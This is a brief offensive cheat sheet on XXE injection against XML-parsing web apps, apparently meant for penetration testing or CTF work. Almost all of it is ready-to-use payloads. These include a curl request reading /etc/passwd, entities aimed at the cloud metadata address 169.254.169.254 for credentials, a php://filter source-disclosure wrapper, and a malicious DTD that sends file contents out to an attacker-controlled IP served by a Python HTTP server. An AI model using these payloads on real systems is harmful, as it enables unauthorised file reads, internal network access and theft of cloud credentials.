When an XML parser processes external entities, you can declare one that reads a local file, reaches internal services (SSRF), or exfiltrates data out of band. Anywhere the app accepts XML (SOAP, SAML, .docx/.svg uploads, Content-Type: application/xml) is a candidate.
File read: declare an external entity pointing at a local file
curl -X POST http://<TARGET-IP>/api -H 'Content-Type: application/xml' \ --data '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>'
SSRF via XXE: point the entity at an internal host or cloud metadata
<!ENTITY x SYSTEM "169.254.169.254">
PHP source disclosure via wrapper (base64 survives the XML parser):
<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">
Blind XXE out-of-band exfil: host a malicious DTD, the entity fetches then sends the file
evil.dtd: <!ENTITY % f SYSTEM "file:///etc/passwd"><!ENTITY % o "<!ENTITY e SYSTEM 'http://<YOUR-IP>/?d=%f;'>">
python3 -m http.server 80
App parses XML → inject a SYSTEM entity for file:///etc/passwd → if blind, use an out-of-band DTD to exfil, or point at 169.254.169.254 for cloud creds. Maps to OWASP A03 / A05.